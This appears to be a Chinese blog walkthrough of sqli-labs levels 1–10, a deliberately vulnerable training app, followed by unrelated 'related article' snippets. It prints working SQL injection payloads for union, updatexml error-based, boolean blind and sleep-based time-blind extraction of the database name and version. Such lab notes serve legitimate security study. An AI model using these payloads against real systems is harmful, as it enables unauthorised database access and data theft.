sqli --【1--10】
Less-1（联合查询）
1.查看是否有回显
2.查看是否有报错
3.使用联合查询（字符注入）
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-2（联合查询）
1.查看是否有回显
2.查看是否有报错
3.使用联合查询（数字型注入）
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-3（联合查询）
1.查看是否有回显
2.查看是否有报错
3.使用联合查询（数字型注入）
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-4（联合查询）
1.查看是否有回显
2.查看是否有报错
3.使用联合查询（数字型注入）
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-5（错误注入）
1.无显示
2.有错误
3.使用错误注入
Less-6（错误注入）
1.无显示
2.有错误
3.使用错误注入
Less-7（读写文件）
1.查看是否有回显
Less-8（布尔盲注）
1.没有回显
2.没有报错
3.布尔盲注获取数据库名
4.计算数据库名字的位数
5.猜测每一位
Less-9（延时注入--1‘）
1.没有回显
2.没有报错
3.使用延时注入
4.分别查看每一位
Less-10(延时注入--1“)
1.没有回显
2.没有报错
3.使用延时注入
4.分别查看每一位
Less-1（联合查询）
1.查看是否有回显
?id=1
2.查看是否有报错
?id=2'
3.使用联合查询（字符注入）
3.1判断其列数
?2' order by 4 --+ 判断有3列
3.2 判断显示位置
?id=2' and 1=2 union select 1,2,3 --+ 此处为字符型注入，要确定前一段为假
3.3敏感信息查询
?id=2' and 1=2 union select 1,version(),database() --+ version() --版本号 ：5.7.26 database()--数据库名称 ： security
Less-2（联合查询）
1.查看是否有回显
?id=1
2.查看是否有报错
?id=2'
3.使用联合查询（数字型注入）
3.1判断其列数
?2' order by 4 --+ 判断有3列
3.2 判断显示位置
?id=2' and 1=2 union select 1,2,3 --+ 此处为字符型注入，要确定前一段为假
3.3敏感信息查询
?id=2' and 1=2 union select 1,version(),database() --+ version() --版本号 ：5.7.26 database()--数据库名称 ： security
Less-3（联合查询）
1.查看是否有回显
?id=1
2.查看是否有报错
?id=2'
3.使用联合查询（数字型注入）
3.1判断其列数
?2') order by 4 --+ 判断有3列
3.2 判断显示位置
?id=2') and 1=2 union select 1,2,3 --+ 此处为字符型注入，要确定前一段为假
3.3敏感信息查询
?id=2') and 1=2 union select 1,version(),database() --+ version() --版本号 ：5.7.26 database()--数据库名称 ： security
Less-4（联合查询）
1.查看是否有回显
?id=1
2.查看是否有报错
?id=2"
3.使用联合查询（数字型注入）
3.1判断其列数
?2") order by 4 --+ 判断有3列
3.2 判断显示位置
?id=2") and 1=2 union select 1,2,3 --+ 此处为字符型注入，要确定前一段为假
3.3敏感信息查询
?id=2") and 1=2 union select 1,version(),database() --+ version() --版本号 ：5.7.26 database()--数据库名称 ： security
Less-5（错误注入）
1.无显示
2.有错误
3.使用错误注入
?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
Less-6（错误注入）
1.无显示
2.有错误
3.使用错误注入
?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
Less-7（读写文件）
1.查看是否有回显
根据 Use outfile判断，此处使用写入文件的方式
2.
Less-8（布尔盲注）
1.没有回显
2.没有报错
3.布尔盲注获取数据库名
?id=2' and database()='ajest' --+ 没有显示，成本太高
4.计算数据库名字的位数
?id=2' and length(database())>0 --+ ?id=2' and length(database())=8 --+ 显示八位
5.猜测每一位
?id=2' and ascii(substr((select database()),1,1))=115 --+
115 s
101 e
99 c
117 u
114 r
105 i
116 t
121 y
数据库：security
Less-9（延时注入--1‘）
1.没有回显
?id=1
2.没有报错
?id=1'
3.使用延时注入
?id=1' and if(length((select version()))=6,sleep(5),1) --+ 版本号共有6位
4.分别查看每一位
?id=1' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+
53 5
46 .
55 7
46 .
50 2
54 6
版本号 ：5.7.26
Less-10(延时注入--1“)
1.没有回显
?id=1
2.没有报错
?id=1"
3.使用延时注入
?id=1" and if(length((select version()))=6,sleep(5),1) --+ 版本号共有6位
4.分别查看每一位
?id=1" and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+
53 5
46 .
55 7
46 .
50 2
54 6
版本号 ：5.7.26
相关文章：
sqli --【1--10】
Less-1（联合查询） 1.查看是否有回显 2.查看是否有报错 3.使用联合查询（字符注入） 3.1判断其列数 3.2 判断显示位置 3.3敏感信息查询 Less-2（联合查询） 1.查看是否有回显 2.查看是否有报错 3.使用…...
《自然语言处理(NLP)的最新进展：Transformers与GPT-4的浅析》
🌷🍁 博主猫头虎（🐅🐾）带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…...
Wireshark 用命令行分析数据包
1，那些情况需要使用命令行 Wireshark一次性提供了太多的信息。使用命令行工具可以限制打印出的信息，最后只显示相关数据，比如用单独一行来显示IP地址。命令行工具适用于过滤数据包捕获文件，并提供结果给另一个支持UNIX管道的工具…...
LVS DR模式负载均衡群集部署
目录 1 LVS-DR 模式的特点 1.1 数据包流向分析 1.2 DR 模式的特点 2 DR模式 LVS负载均衡群集部署 2.1 配置负载调度器 2.1.1 配置虚拟 IP 地址 2.1.2 调整 proc 响应参数 2.1.3 配置负载分配策略 2.2 部署共享存储 2.3 配置节点服务器 2.3.1 配置虚拟 IP 地址 2.3.2…...
探讨前后端分离开发的优势、实践以及如何实现更好的用户体验？
随着互联网技术的迅猛发展，前后端分离开发已经成为现代软件开发的一种重要趋势。这种开发模式将前端和后端的开发工作分开，通过清晰的接口协议进行通信，旨在优化开发流程、提升团队协作效率，并最终改善用户体验。本文将深入探讨前…...
微博一面：JVM预热，你的方案是啥？
说在前面 在40岁老架构师 尼恩的读者社区(50)中，最近有小伙伴拿到了一线互联网企业如微博、阿里、汽车之家、极兔、有赞、希音、百度、网易、滴滴的面试资格，遇到一几个很重要的面试题： JVM预热，你的方案是啥？Springb…...
open与fopen的区别
1. 来源 从来源的角度看，两者能很好的区分开，这也是两者最显而易见的区别： open是UNIX系统调用函数（包括LINUX等），返回的是文件描述符（File Descriptor），它是文件在文件…...
Unity记录一些glsl和hlsl的着色器Shader逆向代码
以下内容一般基于 GLSL 300 之后 以下某些代码行，是“伪代码“，绝大部分是renderDoc 逆向产生标准代码 本人OpenlGL零基础，也不打算重头学 目录 Clip（） 剔除函数 discard; FS最终颜色输出 out 和最终颜色相加方程…...
基于Sentinel的微服务保护
前言 Sentinel是Alibaba开源的一款微服务流控组件，用于解决分布式应用场景下服务的稳定性问题。Sentinel具有丰富的应用场景，它基于流量提供一系列的服务保护措施，例如多线程秒杀情况下的系统承载，并发访问下的流量控制ÿ…...
Collectors类作用：
一、Collectors类： 1.1、Collectors介绍 Collectors类，是JDK1.8开始提供的一个的工具类，它专门用于对Stream操作流中的元素各种处理操作，Collectors类中提供了一些常用的方法，例如：toList()、toSet()、to…...
LASSO回归
LASSO回归 LASSO(Least Absolute Shrinkage and Selection Operator，最小绝对值收敛和选择算子算法)是一种回归分析技术，用于变量选择和正则化。它由Robert Tibshirani于1996年提出，作为传统最小二乘回归方法的替代品。 损失函数 1.线性回…...
机器学习中的 K-均值聚类算法及其优缺点。
K-均值聚类算法是一种常见的无监督学习算法，它可以将数据集分成 K 个簇，每个簇内部的数据点尽可能相似，而不同簇之间的数据点应尽可能不同。下面详细讲解 K-均值聚类算法的优缺点： 优点： 简单易用：K-均值…...
云计算与虚拟化
一、概念 什么是云计算？ 云计算（cloud computing）是分布式计算的一种，指的是通过网络“云”将巨大的数据计算处理程序分解成无数个小程序，然后，通过多部服务器组成的系统进行处理和分析这些小程序得到结果…...
Linux常见进程类别
目录 常见进程类别 守护进程&精灵进程 任务管理 进程组 作业 作业 | 进程组 会话 w命令 守护进程 守护进程的创建 setsid()函数 daemon()函数 模拟实现daemon函数 前台进程 | 后台进程 僵尸进程 | 孤儿进程 僵尸进程的一些细节 守护进程 | 后台进程 守护…...
智能小车之蓝牙控制并测速小车、wife控制小车、4g控制小车、语音控制小车
目录 1. 蓝牙控制小车 2. 蓝牙控制并测速小车 3. wifi控制测速小车 4. 4g控制小车 5. 语音控制小车 1. 蓝牙控制小车 使用蓝牙模块，串口透传蓝牙模块，又叫做蓝牙串口模块 串口透传技术： 透传即透明传送，是指在数据的传输过…...
指针进阶（一）
指针进阶 1. 字符指针面试题 2. 指针数组3. 数组指针3.1 数组指针的定义3.2 &数组名VS数组名 3.3 数组指针的使用4. 数组传参和指针传参4.1 一维数组传参4.2 二维数组传参4.3 一级指针传参4.4 二级指针传参 前言 指针的主题，我们在初级阶段的《指针》章节已经接…...
c# sql 判断表中是否包含指定字段
你可以使用以下方法来判断一个 SQL 数据库中的表是否包含指定的字段。 首先，你需要连接到数据库，然后执行一条 SQL 查询语句来检查表结构。你可以使用 SELECT 语句和 INFORMATION_SCHEMA.COLUMNS 系统视图来获取表中的所有列信息。 下面是一个示例代码…...
08-JVM垃圾收集器详解
上一篇：07-垃圾收集算法详解 如果说收集算法是内存回收的方法论，那么垃圾收集器就是内存回收的具体实现。 虽然我们对各个收集器进行比较，但并非为了挑选出一个最好的收集器。因为直到现在为止还没有最好的垃圾收集器出现，更加没…...
sql_mode详解
文章目录 一、sql_mode作用二、查询sql_mode三、mysql8默认的mode配置（6个默认配置）四、常见mode详细解释mysql8默认配置了的mode（6个）需要自己配置的mode（4个） 五、设置sql_mode（一旦设置了&am…...
Vue3的新特性总结
一、Vue3 里 script 的三种写法 首先，Vue3 新增了一个叫做组合式 api 的东西，英文名叫 Composition API。因此 Vue3 的 script 现在支持三种写法。 1、最基本的 Vue2 写法 <template><div>{{ count }}</div><button click"…...
浏览器访问 AWS ECS 上部署的 Docker 容器（监听 80 端口）
✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义（Task Definition&…...
设计模式和设计原则回顾
设计模式和设计原则回顾 23种设计模式是设计原则的完美体现，设计原则设计原则是设计模式的理论基石， 设计模式 在经典的设计模式分类中（如《设计模式：可复用面向对象软件的基础》一书中），总共有23种设计模式，分为三大类： 一、创建型模式（5种） 1. 单例模式（Sing…...
React第五十七节 Router中RouterProvider使用详解及注意事项
前言 在 React Router v6.4 中，RouterProvider 是一个核心组件，用于提供基于数据路由（data routers）的新型路由方案。 它替代了传统的 <BrowserRouter>，支持更强大的数据加载和操作功能（如 loader 和…...
3.3.1_1 检错编码（奇偶校验码）
从这节课开始，我们会探讨数据链路层的差错控制功能，差错控制功能的主要目标是要发现并且解决一个帧内部的位错误，我们需要使用特殊的编码技术去发现帧内部的位错误，当我们发现位错误之后，通常来说有两种解决方案。第一…...
解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错
出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上，所以报错，到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本，cu、torch、cp 的版本一定要对…...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角，以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向，距离坐标原点x个像素;第二个是y坐标，表示当前位置为垂直方向，距离坐标原点y个像素。 坐标体系-像素 …...
高防服务器能够抵御哪些网络攻击呢？
高防服务器作为一种有着高度防御能力的服务器，可以帮助网站应对分布式拒绝服务攻击，有效识别和清理一些恶意的网络流量，为用户提供安全且稳定的网络环境，那么，高防服务器一般都可以抵御哪些网络攻击呢？下面…...
网络编程（UDP编程）
思维导图 UDP基础编程（单播） 1.流程图 服务器：短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...
LCTF液晶可调谐滤波器在多光谱相机捕捉无人机目标检测中的作用
中达瑞和自2005年成立以来，一直在光谱成像领域深度钻研和发展，始终致力于研发高性能、高可靠性的光谱成像相机，为科研院校提供更优的产品和服务。在《低空背景下无人机目标的光谱特征研究及目标检测应用》这篇论文中提到中达瑞和 LCTF 作为多…...
rknn toolkit2搭建和推理
安装Miniconda Miniconda - Anaconda Miniconda 选择一个 新的 版本 ，不用和RKNN的python版本保持一致 使用 ./xxx.sh进行安装 下面配置一下载源 # 清华大学源（最常用） conda config --add channels https://mirrors.tuna.tsinghua.edu.cn…...